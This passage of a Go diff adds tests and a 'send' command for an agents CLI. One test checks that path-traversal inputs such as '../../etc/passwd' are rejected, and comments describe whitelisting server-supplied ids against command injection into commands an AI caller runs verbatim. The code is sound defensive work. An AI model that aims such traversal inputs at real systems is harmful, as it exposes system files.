+		return &http.Response{
+			StatusCode: status,
+			Header:     http.Header{"Content-Type": []string{"application/json"}},
+			Body:       io.NopCloser(strings.NewReader(body)),
+			Request:    r,
+		}, nil
+	}
+}
+
+// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
+// surfaced only via IsBot() (never the raw client), and AgentID echoes the
+// addressed agent.
+func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
+	bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
+	if !bot.IsBot() {
+		t.Error("bot runtime should report IsBot()=true")
+	}
+	if bot.AgentID() != "agt_1" {
+		t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
+	}
+	usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
+	if usr.IsBot() {
+		t.Error("user runtime should report IsBot()=false")
+	}
+}
+
+// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
+// returns the raw "data" object (not the whole envelope), and the typed Call[T]
+// helper decodes that raw data into a struct.
+func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
+	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
+	if err != nil {
+		t.Fatalf("CallAPI should succeed: %v", err)
+	}
+	var data map[string]any
+	if err := json.Unmarshal(raw, &data); err != nil {
+		t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
+	}
+	if data["task_id"] != "t1" || data["state"] != "completed" {
+		t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
+	}
+
+	// The typed Call[T] helper decodes that same raw data into a struct — no
+	// map[string]any assertions at the call site.
+	got, err := iagents.Call[struct {
+		TaskID string `json:"task_id"`
+		State  string `json:"state"`
+	}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
+	if err != nil {
+		t.Fatalf("Call[T] should succeed: %v", err)
+	}
+	if got.TaskID != "t1" || got.State != "completed" {
+		t.Errorf("Call[T] should decode data into the struct, got %+v", got)
+	}
+}
+
+// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
+// (CheckResponse), not a silent success.
+func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
+	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
+		t.Fatal("a non-zero API code should surface as an error")
+	} else if _, ok := errs.ProblemOf(err); !ok {
+		t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
+	}
+}
+
+// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
+// RoundTrip failure is classified as a network transport error.
+func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		return nil, errors.New("dial refused")
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
+	if err == nil {
+		t.Fatal("a transport error should propagate")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Category != errs.CategoryNetwork {
+		t.Fatalf("transport error should be a network error, got %+v", p)
+	}
+}
+
+// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
+// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
+// traversal path is rejected as invalid_argument (param --file) and NO request
+// is issued (the transport panics if reached).
+func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		t.Fatal("no request should be issued when the --file path is unsafe")
+		return nil, nil
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
+		_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
+			map[string]string{"type": "file"},
+			[]iagents.FilePart{{Field: "file", Path: bad}})
+		if err == nil {
+			t.Fatalf("an unsafe --file path %q should be rejected", bad)
+		}
+		if !errs.IsValidation(err) {
+			t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
+		}
+		var ve *errs.ValidationError
+		if !errors.As(err, &ve) || ve.Param != "--file" {
+			t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
+		}
+	}
+}
+
+// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
+// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
+// --file path, CallUpload propagates that validation error and returns the zero
+// value of T without attempting a decode. Mirrors the Call[T] coverage in
+// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
+// are exercised, not just the JSON one.
+func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		t.Fatal("no request should be issued when the --file path is unsafe")
+		return nil, nil
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	got, err := iagents.CallUpload[struct {
+		AttachmentID string `json:"attachment_id"`
+	}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
+		map[string]string{"type": "file"},
+		[]iagents.FilePart{{Field: "file", Path: "/etc/hosts"}})
+	if err == nil {
+		t.Fatal("CallUpload with an unsafe --file path should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
+	}
+	if got.AttachmentID != "" {
+		t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
+	}
+}

cmd/agents/scripted_provider_test.go

@@ -0,0 +1,170 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"sync"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
+// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
+// a test reaching an unexpected provider path. The command-layer contracts under
+// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
+// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
+type scriptedHooks struct {
+	send             func(in iagents.SendInput) (*iagents.AgentTask, error)
+	getTask          func(taskID string) (*iagents.AgentTask, error)
+	listTasks        func(contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error)
+	listContexts     func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error)
+	getContext       func(ctxID string) (*iagents.ContextDetail, error)
+	deleteContext    func(ctxID string) error
+	cancelTask       func(taskID string) error
+	downloadArtifact func(taskID, artifactID string) (*iagents.ArtifactData, error)
+}
+
+// scripted is the package-level hook set shared by every scripted instance (the
+// registered provider is fixed per package run, the hooks can be re-pointed).
+var scripted scriptedHooks
+
+// setScripted installs the hooks for one test and restores the empty (panic
+// tripwire) set on cleanup.
+func setScripted(t *testing.T, h scriptedHooks) {
+	t.Helper()
+	scripted = h
+	t.Cleanup(func() { scripted = scriptedHooks{} })
+}
+
+// scriptedSpec is the instance template whose capability surface is fixed by
+// which hooks are wired: everything the command tests drive is wired (the
+// task_cancel unsupported gate is exercised via example:echo, whose spec leaves
+// it unwired), FileInput=true so the --file gate/confirm path is reachable, and
+// InputRequired=true so the --answer capability gate passes (Register requires
+// a question-asking spec to wire CancelTask, hence the cancel hook). Each wired
+// hook delegates to the per-test hook and panics if it was not set.
+func scriptedSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		FileInput:     true,
+		InputRequired: true,
+		CancelTask: iagents.TaskCancelOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) error {
+			if scripted.cancelTask == nil {
+				panic("scripted provider: CancelTask hook not set")
+			}
+			return scripted.cancelTask(taskID)
+		}},
+		Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
+			if scripted.send == nil {
+				panic("scripted provider: Send hook not set")
+			}
+			return scripted.send(in)
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
+			if scripted.getTask == nil {
+				panic("scripted provider: GetTask hook not set")
+			}
+			return scripted.getTask(taskID)
+		}},
+		ListTasks: iagents.TaskListOp{Handler: func(_ context.Context, _ iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+			if scripted.listTasks == nil {
+				panic("scripted provider: ListTasks hook not set")
+			}
+			return scripted.listTasks(contextID, page)
+		}},
+		ListContexts: iagents.ContextListOp{Handler: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+			if scripted.listContexts == nil {
+				panic("scripted provider: ListContexts hook not set")
+			}
+			return scripted.listContexts(page)
+		}},
+		GetContext: iagents.ContextGetOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) (*iagents.ContextDetail, error) {
+			if scripted.getContext == nil {
+				panic("scripted provider: GetContext hook not set")
+			}
+			return scripted.getContext(ctxID)
+		}},
+		DeleteContext: iagents.ContextDeleteOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) error {
+			if scripted.deleteContext == nil {
+				panic("scripted provider: DeleteContext hook not set")
+			}
+			return scripted.deleteContext(ctxID)
+		}},
+		DownloadArtifact: iagents.ArtifactDownloadOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID, artifactID string) (*iagents.ArtifactData, error) {
+			if scripted.downloadArtifact == nil {
+				panic("scripted provider: DownloadArtifact hook not set")
+			}
+			return scripted.downloadArtifact(taskID, artifactID)
+		}},
+	}
+}
+
+// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
+// provider, sorted — the all-or-nothing preflight requires every one for any
+// real API verb.
+var fakescopedAllScopes = []string{
+	"fakescoped:agent_artifact:read",
+	"fakescoped:agent_attachment:write",
+	"fakescoped:agent_chat:read",
+	"fakescoped:agent_chat:write",
+}
+
+// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
+// the non-enumerable `agents list <scheme>` error surfaces it as the hint.
+const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
+
+// minimalSpec is the least-capable legal instance template: only the two core
+// verbs are wired (with tripwire handlers — these tests never reach them), so
+// every optional verb is honestly unsupported. It is the vehicle for
+// unwired-verb shape/ordering tests now that scriptedSpec wires everything.
+func minimalSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
+			panic("fakemin provider: not callable")
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, _ string) (*iagents.AgentTask, error) {
+			panic("fakemin provider: not callable")
+		}},
+	}
+}
+
+// registerScripted registers the scripted schemes exactly once (Register panics
+// on duplicates). All are instance-type (agent_id is arbitrary), and not
+// enumerable (no ListAgents hook). They leak into the package-level registry for
+// the rest of this package run — so no test may assert an exact provider set.
+//
+//   - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
+//   - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
+//   - fakemin: the same 4-scope set on the minimal spec — the vehicle for
+//     unwired-verb gating (its capability gate must answer before preflight).
+var registerScriptedOnce sync.Once
+
+func registerScripted() {
+	registerScriptedOnce.Do(func() {
+		iagents.Register(iagents.Provider{
+			Scheme:        "fakeflow",
+			Label:         "test fake (scripted flow)",
+			AgentIDSource: fakeflowAgentIDSource,
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:      scriptedSpec(),
+		})
+		iagents.Register(iagents.Provider{
+			Scheme:         "fakescoped",
+			Label:          "test fake (scoped)",
+			AgentIDSource:  "test only",
+			RequiredScopes: fakescopedAllScopes,
+			Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:       scriptedSpec(),
+		})
+		iagents.Register(iagents.Provider{
+			Scheme:         "fakemin",
+			Label:          "test fake (minimal caps)",
+			AgentIDSource:  "test only",
+			RequiredScopes: fakescopedAllScopes,
+			Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:       minimalSpec(),
+		})
+	})
+}

cmd/agents/send.go

@@ -0,0 +1,597 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"os"
+	"regexp"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+)
+
+// sendOptions holds all inputs for `agents send <ref>`.
+type sendOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	Text      string
+	Files     []string
+	Params    []string
+	ContextID string
+	TaskID    string
+	Answers   []string // raw --answer key=value entries, argv order
+	DryRun    bool
+	Yes       bool
+	As        string
+	Format    string
+}
+
+// NewCmdAgentSend builds `agents send <agent_ref>`: send a message to a remote
+// agent, starting a new task or continuing an existing one. `--dry-run`
+// validates the inputs against the agent Card and prints the request preview
+// without any API call (always available). A send fires and returns the
+// current task immediately; poll progress with
+// `agents task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
+// `--file` uploads local files to the remote agent — the content leaves this
+// machine. Risk=write. runF, when non-nil, replaces the production run path
+// (test seam).
+func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
+	opts := &sendOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "send <agent_ref>",
+		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
+		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
+			"with --context-id (optionally --task-id) it continues the same multi-turn context; with --answer it answers the task's pending input_required question group. " +
+			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
+			"poll progress with agents task get <agent_ref> <task-id> --watch (see meta.next).",
+		Args: exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			if runF != nil {
+				return runF(opts)
+			}
+			return agentSendRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Text, "text", "", "消息的自由文本部分：起任务/续聊的正文，或随 --answer 的整体附言（--text 永远不是某道题的答案）")
+	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
+	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
+	cmd.Flags().StringArrayVar(&opts.Answers, "answer", nil, "回答 input_required 问题组，可重复：给选项键用 <question_id>=<option_id>（多选重复同 key），给文字用 <question_id>.text=<文本>；须与 --context-id/--task-id 一起用")
+	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// sendMode is send's semantic mode, derived from the flags by a fixed priority
+// (the user never passes a mode). The discriminator formalizes what the guards
+// enforce: answer needs the pending group's task+context and takes --answer
+// entries (with --text as an optional message-level remark); continue/start
+// need --text.
+type sendMode string
+
+const (
+	modeStart    sendMode = "start"    // no context/task/answers — a fresh task
+	modeContinue sendMode = "continue" // has context (optionally task) — same conversation
+	modeAnswer   sendMode = "answer"   // has --answer entries — input_required group reply
+)
+
+// answerKeyPattern is the offline --answer key grammar: a KeyPattern-conforming
+// question id plus at most one case-sensitive ".text" suffix. Anything else —
+// ".txt", ".TEXT", a bare ".text", two dots, a '-'-leading flag-lookalike — is
+// rejected before any network access, because the only two legal key shapes are
+// <qid> and <qid>.text and a near-miss silently becoming an unknown question_id
+// at the provider would send the AI down the wrong recovery branch.
+var answerKeyPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `(\.text)?$`)
+
+// parseAnswers parses the raw --answer key=value entries into the §10.1 map
+// encoding (values in argv order), running every offline guard in one
+// collect-all pass so a multi-error submission is fixed in one round-trip:
+// key=value shape, key grammar, non-empty value, no duplicate .text entry per
+// question. Exact duplicate bare values are deduplicated (an AI retry glitch is
+// idempotent, not an error). Semantic validation (does the qid exist, is the
+// value a legal option) is deliberately NOT here — the CLI is stateless and
+// does not hold the question group; that is the provider's policy (§6.3).
+func parseAnswers(raw []string) (map[string][]string, error) {
+	answers := make(map[string][]string, len(raw))
+	var viols []string
+	for _, entry := range raw {
+		key, value, ok := strings.Cut(entry, "=")
+		if !ok {
+			viols = append(viols, fmt.Sprintf("%s（非 key=value 形）", entry))
+			continue
+		}
+		if !answerKeyPattern.MatchString(key) {
+			viols = append(viols, fmt.Sprintf("%s（key 非法：合法形态只有 <question_id> 与 <question_id>.text）", key))
+			continue
+		}
+		if value == "" {
+			viols = append(viols, fmt.Sprintf("%s（空答案无意义：选项题给 option_id、文字给非空文本；不想答的题不要带这个 key）", key))
+			continue
+		}
+		if _, isText := iagents.SplitAnswerKey(key); isText && len(answers[key]) > 0 {
+			viols = append(viols, fmt.Sprintf("%s（同一题的 .text 只能出现一次，文本不累积）", key))
+			continue
+		}
+		dup := false
+		for _, v := range answers[key] {
+			if v == value {
+				dup = true // exact duplicate → dedupe silently
+				break
+			}
+		}
+		if !dup {
+			answers[key] = append(answers[key], value)
+		}
+	}
+	if len(viols) > 0 {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"非法的 --answer: %s", strings.Join(viols, "；")).
+			WithParam("--answer").
+			WithHint("给选项键用 --answer <question_id>=<option_id>（多选重复同 key），给文字用 --answer <question_id>.text=<文本>，逐条修正后整组重发")
+	}
+	return answers, nil
+}
+
+// deriveSendMode classifies the send and runs the per-mode client-side guards
+// (all offline, all holding under a nil Factory). Conflicting combinations
+// never silently fall back to another mode. Guard PRECEDENCE is deliberate
+// mode-first: with several simultaneous mistakes the mode-defining flag's guard
+// wins (e.g. --answer without --context-id reports the answer guard, not the
+// missing --text) — the caller learns which MODE it got wrong before which
+// field it forgot. Returns the parsed answers map for the answer mode (nil
+// otherwise).
+func deriveSendMode(opts *sendOptions) (sendMode, map[string][]string, error) {
+	if len(opts.Answers) > 0 {
+		// answer: continues the pending group's own task, so both ids are required.
+		if opts.ContextID == "" || opts.TaskID == "" {
+			return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"回答问题组需同时提供 --context-id 与 --task-id").
+				WithParam("--answer").
+				WithHint("--answer 必须与该问题组所属任务的 --context-id/--task-id 一起提供（照抄 task get 输出 meta.next 的命令模板）")
+		}
+		answers, err := parseAnswers(opts.Answers)
+		if err != nil {
+			return "", nil, err
+		}
+		// --text stays optional here: it is the message-level remark, never a
+		// question's answer.
+		return modeAnswer, answers, nil
+	}
+	if opts.TaskID != "" && opts.ContextID == "" {
+		return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--task-id 需与 --context-id 一起使用").
+			WithParam("--task-id").
+			WithHint("补充 --context-id <ctx-id> 后重发；该任务所属会话可用 lark-cli agents task get <agent_ref> <task-id> 输出的 context_id 确认")
+	}
+	if opts.Text == "" {
+		return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
+			WithParam("--text").
+			WithHint(`补充 --text "<消息内容>" 后重发；若在回答问题组，用 --answer <question_id>=<option_id> 或 --answer <question_id>.text=<文本>`)
+	}
+	if opts.ContextID != "" {
+		return modeContinue, nil, nil
+	}
+	return modeStart, nil, nil
+}
+
+// agentSendRun validates the send inputs, resolves the provider, and either
+// prints a dry-run preview or dispatches the message. The mode guards run
+// first so they never touch the network and hold even under a nil Factory. A
+// send fires once and returns the current task immediately (exit 0); the
+// caller polls progress via the meta.next `task get ... --watch` hint.
+func agentSendRun(opts *sendOptions) error {
+	_, answers, err := deriveSendMode(opts)
+	if err != nil {
+		return err
+	}
+	if err := validateSendFiles(opts.Files); err != nil {
+		return err
+	}
+
+	f := opts.Factory
+	// Resolution + --param validation + --dry-run are fully offline, so they work
+	// (and surface validation as exit 2) before the config gate. The card is
+	// built with rt=nil (capability matrix only) for the file gate; --param
+	// validation reads the send operation's own declaration.
+	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate (offline), before the card / any network access.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Send is a core op; gate it on its own Brands too (normally empty ⇒ no-op).
+	if err := opBrandGate(f, spec.Send.Brands, opts.Ref, "send"); err != nil {
+		return err
+	}
+	card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), nil)
+	vp, err := validateParams(opts.Params, spec.Send.Params, iagents.VerbSend, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+
+	in := iagents.SendInput{
+		Text:      opts.Text,
+		Files:     opts.Files,
+		ContextID: opts.ContextID,
+		TaskID:    opts.TaskID,
+		Answers:   answers,
+	}
+
+	// --dry-run is a client-side behavior: always available, never
+	// gated by the Card's dry_run capability, and never touches the API.
+	if opts.DryRun {
+		return emitDryRun(f, opts.Cmd, opts.Ref, in, vp.Resolved, opts.Format)
+	}
+
+	// An agent that never enters input_required cannot take a group answer, so
+	// --answer against it is unsupported_capability — gated offline (mirrors the
+	// --file/file_input gate) to save the caller a doomed round-trip.
+	if len(in.Answers) > 0 && !card.Supports(iagents.CapInputRequired) {
+		return capabilityError(opts.Ref, "send with --answer", iagents.CapInputRequired)
+	}
+
+	if len(in.Files) > 0 {
+		// An agent that does not declare file_input cannot take an upload, so
+		// --file against it is unsupported_capability — gated before any network
+		// access, so the user is not told "confirm the upload" for a send that
+		// would be rejected anyway.
+		if !card.Supports(iagents.CapFileInput) {
+			return capabilityError(opts.Ref, "send with --file", iagents.CapFileInput)
+		}
+		// --file exfiltrates local file content off this machine (the provider
+		// reads the file and uploads it to the remote agent). That is an
+		// irreversible, CLI-enforced high-risk write: a real send that would upload
+		// requires --yes, returning confirmation_required (exit 10) before any
+		// network access. dry-run above is exempt — it never uploads.
+		if !opts.Yes {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents send --file",
+				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
+				WithHint("确认要外发这些文件后，加 --yes 重发")
+		}
+	}
+
+	// A real send calls the API, so it needs a configured client; build the
+	// identity-pinned runtime now (not_configured / exit 3 here is correct).
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+
+	// Local scope preflight: after runtimeFor, before the API call. The check is
+	// all-or-nothing — any real API verb requires the provider's full scope set.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	task, err := spec.Send.Handler(opts.Cmd.Context(), rt, in)
+	if err != nil {
+		return err
+	}
+	notice := normalizeTask(task)
+
+	// A send fires and returns the current task immediately (exit 0). Progress is
+	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
+	// hint — send no longer blocks on the task reaching a stop condition.
+	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbSend), opts.Format, notice)
+}
+
+// validateSendFiles is the local gate on --file paths, running before any
+// capability/confirmation gate or network access (dry-run included): every
+// path must be a relative-within-CWD (the lark-shared safety rule the docs
+// promise) EXISTING regular file. Violations are collected and reported in one
+// pass, mirroring the --param collect-all style, so a multi-file send is fixed
+// in one round-trip. Without this gate a bad path used to be discovered only
+// by the provider (or worse, silently "uploaded").
+func validateSendFiles(files []string) error {
+	var viols []string
+	for _, p := range files {
+		abs, err := validate.SafeInputPath(p)
+		if err != nil {
+			viols = append(viols, fmt.Sprintf("%s（仅接受 CWD 内的相对路径）", p))
+			continue
+		}
+		st, err := os.Stat(abs)
+		switch {
+		case err != nil:
+			viols = append(viols, fmt.Sprintf("%s（文件不存在或不可读）", p))
+		case st.IsDir():
+			viols = append(viols, fmt.Sprintf("%s（是目录，--file 只接受文件）", p))
+		}
+	}
+	if len(viols) == 0 {
+		return nil
+	}
+	return errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"非法的 --file 路径: %s", strings.Join(viols, "；")).
+		WithParam("--file").
+		WithHint("--file 只接受当前目录内的相对路径且文件必须存在，逐条修正后重发")
+}
+
+// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
+// reconstructed from the validated input, so a caller can inspect exactly what
+// a real send would post without contacting the agent. format=pretty (no --jq)
+// renders the same fields as key: value lines instead of the envelope.
+func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagents.SendInput, params map[string]string, format string) error {
+	if format == "pretty" && jqExpr(cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintln(out, "dry_run: true")
+		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
+		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
+		if len(in.Files) > 0 {
+			fmt.Fprintf(out, "files: %d\n", len(in.Files))
+		}
+		if len(params) > 0 {
+			fmt.Fprintf(out, "params: %d\n", len(params))
+		}
+		if in.ContextID != "" {
+			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
+		}
+		if in.TaskID != "" {
+			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
+		}
+		if len(in.Answers) > 0 {
+			fmt.Fprintf(out, "answers: %d\n", len(in.Answers))
+		}
+		return nil
+	}
+
+	would := map[string]interface{}{
+		"agent_ref": ref,
+		"text":      in.Text,
+	}
+	if len(in.Files) > 0 {
+		would["files"] = in.Files
+	}
+	if len(params) > 0 {
+		// Default 回填后的终值：预演即所得。
+		would["params"] = params
+	}
+	if in.ContextID != "" {
+		would["context_id"] = in.ContextID
+	}
+	if in.TaskID != "" {
+		would["task_id"] = in.TaskID
+	}
+	if len(in.Answers) > 0 {
+		// §10.1 键编码原样预览：预演即所得。
+		would["answers"] = in.Answers
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"dry_run":    true,
+			"would_send": would,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// nextIDPattern is the character whitelist for server-supplied identifiers
+// (task_id / context_id / question_id) before they are interpolated into a
+// meta.next command string: first character alphanumeric, then letters, digits,
+// '_' and '-'. It is deliberately stricter than validate.ResourceName — that
+// check is a denylist aimed at URL-path safety and would pass shell
+// metacharacters (spaces, ';', backticks, quotes), which are exactly what
+// matters here: meta.next is defined as "AI executes this verbatim", so a
+// server-controlled id is a command-injection surface. The alphanumeric first
+// character additionally rejects flag-lookalike ids ("--text", "-o") that would
+// survive a bare charset test yet hijack the flag surface when an AI re-composes
+// the command. It matches iagents.KeyPattern by construction — the two layers
+// must agree or a key accepted at one becomes a dead end at the other.
+var nextIDPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `$`)
+
+// safeNextID reports whether s may be interpolated into a meta.next command.
+func safeNextID(s string) bool {
+	return nextIDPattern.MatchString(s)
+}
+
+// nextRefPattern is the whitelist for a user-supplied ref before it is
+// interpolated into a meta.next command or a hint command string: the
+// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
+// shape ParseRef accepts, further restricted to command-safe characters). A
+// ref is not server-controlled — the threat model is not injection but
+// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
+// be executed verbatim), so a failing ref simply drops the command hint.
+var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
+
+// safeNextRef reports whether ref may be interpolated into a meta.next / hint
+// command string.
+func safeNextRef(ref string) bool {
+	return nextRefPattern.MatchString(ref)
+}
+
+// nextForTask builds the meta.next[] hints for a send result: a terminal task
+// suggests fetching its artifacts / detail, a still-running task the poll
+// command, an input_required task the continue command, and an auth_required
+// task the re-authorize flow (auth login, not a text continuation). AI callers use
+// these to chain the next step without guessing the command shape, so every
+// value interpolated here must pass its whitelist first: the ref (safeNextRef)
+// and the task_id (safeNextID) each suppress the whole hint when they fail
